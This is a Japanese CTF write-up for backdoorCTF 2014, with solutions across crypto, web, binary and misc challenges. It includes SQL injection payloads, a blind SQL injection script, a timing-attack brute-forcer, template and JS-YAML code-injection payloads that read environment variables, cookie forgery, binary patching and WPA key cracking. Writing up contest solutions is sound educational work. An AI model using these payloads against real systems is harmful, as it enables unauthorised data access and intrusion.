backdoorCTF 2014 Write-up

backdoorCTFにチームsuperflipとして参加した。2630点21位。サクサク解けて面白かった。フラグは見つけたフラグのMD5ハッシュを投稿するものが多かったので、一応答えにもMD5ハッシュを付けている。指定された問題以外にもCSSとかに隠しフラグがあったらしい。

Crypto 10

画像ファイルが問題。末尾にzipファイルが付いている。解凍すると画像が出てくる。この画像も末尾にzipファイルが付いている。

6307834008eb8edbe18c7a20ee4a909d

Crypto 100

公開鍵と暗号化したファイルが渡されて復号する問題。220bitのRSAなので正攻法で解ける。

>openssl rsa -pubin -text < id.pub
Public-Key: (220 bit)
Modulus:
    0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77:
    28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b
Exponent: 65537 (0x10001)

で、nとeを取り出す。msieveでnを素因数分解

>msieve 0x0c09e7ec78f2f8ada9953448226477281b099d1835702b4de5075d6b

sieving in progress (press Ctrl-C to pause)
7296 relations (3342 full + 3954 combined from 37569 partial), need 7248
sieving complete, commencing postprocessing

>tail msieve.log
Sun Mar 23 18:24:31 2014  filtering completed in 3 passes
Sun Mar 23 18:24:31 2014  matrix is 6583 x 6647 (0.8 MB) with weight 180566 (27.
17/col)
Sun Mar 23 18:24:31 2014  sparse part has weight 180566 (27.17/col)
Sun Mar 23 18:24:31 2014  commencing Lanczos iteration
Sun Mar 23 18:24:31 2014  memory use: 0.8 MB
Sun Mar 23 18:24:31 2014  lanczos halted after 106 iterations (dim = 6580)
Sun Mar 23 18:24:31 2014  recovered 63 nontrivial dependencies
Sun Mar 23 18:24:31 2014  prp34 factor: 1090660992520643446103273789680343
Sun Mar 23 18:24:31 2014  prp34 factor: 1162435056374824133712043309728653
Sun Mar 23 18:24:31 2014  elapsed time 00:00:41

n = p*q = 1090660992520643446103273789680343*1162435056374824133712043309728653
このpとqから秘密鍵を作る。opensslで作れるかもしれないけど、方法が分からないので自作スクリプト

import sys

p = 1090660992520643446103273789680343
q = 1162435056374824133712043309728653
e = 65537
n = p*q

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
exp1 = d % (p-1)
exp2 = d % (q-1)
coef = pow(q,p-2,p)

def int2bin(d):
    t = "%x"%d
    return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
    if l<0x80:
        return chr(l)
    else:
        t = int2bin(l)
        return chr(0x80+len(t))+t

def encint(n):
    t = int2bin(n)
    return "\x02"+enclen(len(t))+t

t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
t = "\x30"+enclen(len(t))+t

print "-----BEGIN RSA PRIVATE KEY-----"
print t.encode("base64")[:-1]
print "-----END RSA PRIVATE KEY-----"

秘密鍵

-----BEGIN RSA PRIVATE KEY-----
MIGUAgEAAhwMCefsePL4ramVNEgiZHcoGwmdGDVwK03lB11rAgMBAAECHBEAKDHMN6qwa6wVkcxn
IPJ/M2rTKZczAqRVdykCDjXGE7vhg+gGdPSEi2rXAg45T/49/Di1EaB7E0sDjQIODIBULiWriNGX
dxEpaFkCDianNKlJelVkVf+ru2PhAg4BH+uiLIU435fC/R1BUA==
-----END RSA PRIVATE KEY-----

復号。

>openssl rsautl -decrypt -inkey id.key < ciphertext.txt
Loading 'screen' into random state - done
random_prime_gen
random_prime_gen
184cae04d3535156e2b0847cfe1eb441

Crypto 200-1

問題文に16進数の文字列が書かれていた。

1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a1717……

gzipで解凍

010011000101010101100100010000100101010100110001011011000100001001010010010001100101……

↓8文字ごとに区切って変換

LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYtMzMtR0FTWUFEVComLTM3LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYt……

Base64で復号

-GASYADT*&-25-GASYADT*&-33-GASYADT*&-37-GASYADT*&-25-GASYADT*&-33-GASYADT*&-35-GASYA……

↓良く分からないけど、25, 33, 37, …を16進数だと思って復号

%37%35%36%37%36%37%36%33%33%61%32%66%32%66%36%33%36%65%36%36%36%37%37%32%32%65%36%38……

↓パーセントエンコーディングだと思って復号

756767633a2f2f636e6667722e686f686167682e70627a2f373133303535342f0a

↓16進数

uggc://cnfgr.hohagh.pbz/7130554/

↓ROT13

http://paste.ubuntu.com/7130554/

サイトにフラグが書いてある。

5d3144233c46404dba4afc766601b997

Crypto 200-2

解けなかった。ピーピー音が鳴っているwavファイル。音程なり周波数なりを変換するのだろか?

Web 10

問題文のページのHTTPヘッダに答えがある。

Backdoor-CTF:28b3324be8b003ee7e1d0d153fad3c32
Connection:Keep-Alive
Content-Encoding:gzip
Content-Length:1119
Content-Type:text/html
Date:Sun, 23 Mar 2014 09:37:23 GMT
Keep-Alive:timeout=5, max=100
Server:Apache/2.2.22 (Ubuntu)
Vary:Accept-Encoding
X-Powered-By:PHP/5.3.10-1ubuntu3.10
28b3324be8b003ee7e1d0d153fad3c32

Web 30

指定されたサイトに行くと、auth=falseというCookieが設定されるので、auth=trueに変えてアクセス。

aeba37a3aaffc93567a61d9a67466fdf

Web 50

解けなかった。他の人の解答を見ると、sqlmapでブラインドSQLインジェクションと書いてある。コメントは/* */しか使えないし、UNION SELECT 〜も動かなかったし、50点にしては難しいから他に解法がありそうだけど……。ツールが使えるから簡単という事だろうか。

追記

Hint: H4x0r loves using paranthesis in his SQL queries

というヒントがあった。

xxx') UNION SELECT 0,table_name,0 FROM information_schema.tables # 
xxx') UNION SELECT 0,column_name,0 FROM information_schema.columns WHERE table_name='the_flag_is_over_here' # 
xxx') UNION SELECT 0,twisted_column_name,0 FROM the_flag_is_over_here # 

を検索すれば良い。#と--がダメで/* */がOKという時点でDBエンジンが何かすら分からなかったけど、括弧か。覚えておこう……。

d5abaf391f7bc7e7cda8c128e5ca3187

Web 100-1

画像のURLを送ると点数が返ってくるウェブサービス。サーバーを動かして、そのサーバーのURLを指定すると、

$ nc -l 7777
GET / HTTP/1.1
Host: sanya.sweetduet.info:8543
Accept: */*
X-Referrer: 92702a9381515494689f5d14f85a83b7.php

謎のヘッダが付いている。92702a9381515494689f5d14f85a83b7.phpを開くとコメントにフラグが書いてある。

f556b9a48a3ee914f291f9b98645cb02

Web 100-2

Underscore.jsでページを生成するウェブサービスソース。データだけではなく、テンプレートも指定できるので、

<%=process.env.FLAG%>

を送ると環境変数が読める。

16367694ede9faef0efec36845e18ceb

Web 200

投稿したキーが正しいかどうかを判定するウェブサービスブルートフォースを防ぐために、

    for($i=0;$i<strlen($key);$i++)
    {
        if($key[$i]!=$actual_key[$i])
            die("Wrong key");
        usleep(200000);
    }

と、0.2秒のスリープが入っている。タイミングアタック。1回だけだと誤差があるので、1種類の文字に付き10回アクセスして、それでも平均だとぶれるので、中央値を取った。

import time
import urllib

url = "http://backdoor.cognizance.org.in/problems/web200/submit.php?key="
cand = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

for c in cand:
    S = []
    for i in range(10):
        s = time.clock()
        d = urllib.urlopen(url+c+"aaaa").read()
        S += [time.clock()-s]
    S.sort()
    print c, (S[4]+S[5])/2

    # print c, urllib.urlopen(url+"Z9A9"+c).read()

1文字ごとにurlopenのところを修正した。

X 0.15236482422
Y 0.159946188537
Z 0.363095763259
a 0.152403469308
b 0.144447502835

7 0.344034437878
8 0.344380967658
9 0.553629539431
A 0.344418701306
B 0.36404748971

こんな感じの時間。

ee7528e19f87ba00b4b4c721b646a8a2

Web 250-1

指定したYAMLのデータを指定したMarkdownの中に埋め込んで表示するウェブサービスソース。JS-YAMLYAML中にJavaScriptの関数を埋め込めるらしい。怖い((((((;゚Д゚))))))

---
f: !!js/function >
  function f() {
    return process.env.FLAG
  }
---
{{f}}

を送るとフラグが表示された。

fb1f85e4f37eb3bf31141cb1dcce1caf

Web 300

ブラインドSQLインジェクション。check.phpにアクセスする前に、status.phpにアクセスしないと弾かれる。

# sql = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema!='mysql' AND table_schema!='information_schema'"
# sql = "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='the_elusive_flag'"
sql = "SELECT group_concat(this_column_has_the_flag) FROM the_elusive_flag"

import urllib, urllib2, cookielib

o = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
r = ""
for i in range(1,100):
    c = 0
    b = 0x80
    while b>0:
        d = o.open("http://backdoor.cognizance.org.in/problems/web300/status.php").read()

        s = "kusano' AND ascii(substring((%s), %s, 1)) < %s#" % (sql,i,c+b)
        d = o.open("http://backdoor.cognizance.org.in/problems/web300/check.php",
            urllib.urlencode({"username": s})).read()
        if "Please" in d:
            c += b
        b /= 2
    r += chr(c)
    print r

sqlをそれぞれの文字列にしたときの結果は、

the_elusive_flag,users
this_column_has_the_flag
9d4dcc5981b17bf37740c7dbabe3b294
9d4dcc5981b17bf37740c7dbabe3b294

Binary 10

バイナリ中に答えが見える。

$ ./bin10
Enter the password: a_few_basic_skills_will_do
The flag for this level is 40511702a6193f9b38d37699e676fd40
40511702a6193f9b38d37699e676fd40

Binary 100

処理を追うのが面倒だなと思ったら、条件分岐を潰すだけだった。0x000011F8の、0x74を0x75に書き換えて、JEをJNEにする。

$ ./bin100_2 aaa
Congrats! The flag for this level is : 94958e1c10707728ef965fe850eb98a1
94958e1c10707728ef965fe850eb98a1

Binary 200

ゴチャゴチャしたcppファイルが渡される。

vgg f = 0x7265616c6c795f69;

vgg f = 0x7265616c6c795f69LL;

にして、-trigraphオプションを付けたらコンパイルできた。

if(ll01<(ll01&-0x1))??<ff();ggg();%>

ff();ggg();

にするとフラグが表示された。

>gcc -trigraphs obfuscated2.cpp

>a.exe
8243101811275816809
just_another_FLaG

ちなみに、??<は、{になる。トライグラフ。昔のCで使えた。%>は}になる。ダイグラフ。最近のCで使える。

just_another_FLaG
a38834db6eb9d31e3c7e878bae3da748

Misc 10

pcapファイルが渡される。解けなかった。

追記
Beginners CTF blog: Backdoor CTF 2014 Miscellaneous-10
pcap中でアクセスしているURLにQRコードが置いてあった。

efb8f4cd67963a5652ee0aa2187b830a

Misc 150

ext2イメージファイル。解けなかった。
WindowsでもAutopsyで開ける。
/Music/mystery.wavにモールス信号が入っていて、復号すると、

THIS IS NOT THE FLAG YOU HAVE WASTED YOUR TIME DECRYPTING THIS

/$OrphanFiles/OrphanFile-1737 が

""" 
        
        Looks like something missing here!

"""

def decrypt(key,cipher):
    decipher = ''
    for i in range(len(cipher)):
        decipher+=chr(ord(cipher[i])+int(key[i]))
    return decipher


key = 'CDEFGHIJSTUVWXYZcdefghijstuvwxyzCDEFGHIJSTUVWXYZcdefghijstuvwxyz'
cipher = 'K]] qgm af l`] f]pl Af;L>! 9dd l`] n]jq Z]kl ^gj Ydd l`] [`Ydd]f_]k! 9f\ qgmj ^dY_: d]]l_)++/_d]]l'
flag = decrypt(key,cipher)
print flag

で、このプログラムは動かないけど、cipherの各文字に8を足すと、

See(you(in(the(next(InCTF)(All(the(very(best(for(all(the(challenges)(And(your(flagB(leetg1337gleet

どちらもハズレ。
historyを見ろというヒントに今気が付いた。/.bash_history中のhttp://paste.ubuntu.com/7130279/かなぁ。

934360b5b4901b727471b39455949a47

Misc 200

古いCPUのアセンブラと実行前のメモリの数値が渡される。ここを見ながら解読。

gun_kills_cadet_in_war
f57f4973ce9eb1c07c71ad3be3752c79

Misc 250-1

Wi-Fiをキャプチャしたファイルが渡されて、WPAキーの解析。ただし16進数で末尾は007。

0007
1007
2007
3007
4007
5007
6007
7007
8007
9007
a007
b007
c007
d007
e007
f007
10007
11007
12007
 :

という辞書ファイルを作って、Aircrack-ngを使う。Windows用のGUIもあるので簡単。

                                 Aircrack-ng 1.2 beta2


                   [00:04:52] 891736 keys tested (3137.32 k/s)


                           KEY FOUND! [ e9b6f007 ]


      Master Key     : 57 F7 3C 8F 86 A1 0C C7 CD 82 F7 34 DB 8F 44 35
                       5F 3E 46 98 F1 C1 C7 C5 BF 45 A8 08 E2 67 1E 67

      Transient Key  : 57 5D 68 40 3A D9 81 52 C1 6E E3 20 66 0C 2F EC
                       C6 32 D4 03 04 20 71 07 14 DD 8A 77 32 BF DA EC
                       E1 F7 0A 2C 8F 5B C0 C5 13 44 BE 7B 67 29 56 74
                       FE 83 C7 8C 2A D3 A9 7E AD 0F C3 5B 07 75 3E A9

      EAPOL HMAC     : FA 08 DE B7 DA FE E3 6E 9C B2 0C 28 B3 5A 7B 36
e9b6f007
c578ddd79dc30186ba22714e6afe5f18

Misc 250-2

BMPファイルでログインするウェブサービスに指定のユーザーでログインしろという問題。画像の左上にRGB=(1,1,1)でログイン名が書かれている。

practice_makes_one_perfect
c16a3c8504985a8c91956c29f7338184

Misc 300

指定されたサーバーにアクセスすると

BackdoorCTF 2014

We dare you to send us a prime between
571746583247771
and
1002618112288883
(exclusive)
Enter your Prime:

と表示される。これは前座かと思ったら、これに答えるだけだった。ランダムに整数を生成して、ミラー-ラビン法で素数判定。

# coding: utf-8

import random
import socket
import time

# ミラー-ラビン素数判定法
def prime(n,k=32):
    if n==2:
        return True
    if n==1 or (n&1)==0:
        return False

    d = n-1
    while d&1 == 0:
        d >>= 1

    for _ in range(k):
        a = random.randint(1,n-1)
        t = d
        y = pow(a,t,n)
        while t!=n-1 and y!=1 and y!=n-1: 
            y = y*y%n
            t <<= 1
        if y!=n-1 and (t&1)==0:
            return False
    return True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("128.199.215.224", 8080))

time.sleep(1)
t = s.recv(10000)
print t

a = int(t.split("\n")[3])
b = int(t.split("\n")[5])
while True:
    c = random.randint(a,b)
    if prime(c):
        break
print "c",c

s.send(str(c))
time.sleep(1)
print s.recv(10000)
understanding_things_is_the_key
7dbed87411062a582fdd25f544902685

Misc 100

解けなかった。指定されたユーザーに指定されたGitHubリポジトリにコミットさせよという問題。Organizationに加えてくれるので単にpushするだけだと思ったけど、ダメだった。

git commit --author

で名前を変えれば良かったらしい。

Trivia 10-1

AppleのSSLのソースが問題。

gotofail
9c00b580a9a1d022d62fa3e8506c3c51

Trivia 10-2

Who is Megaracer?

kimdotcom
148e6711a03f43a1955bcff667d967cc

Trivia 10-3, 10-4, 10-5

解けなかった(・3・)

追記
このサイトに答えが載っている。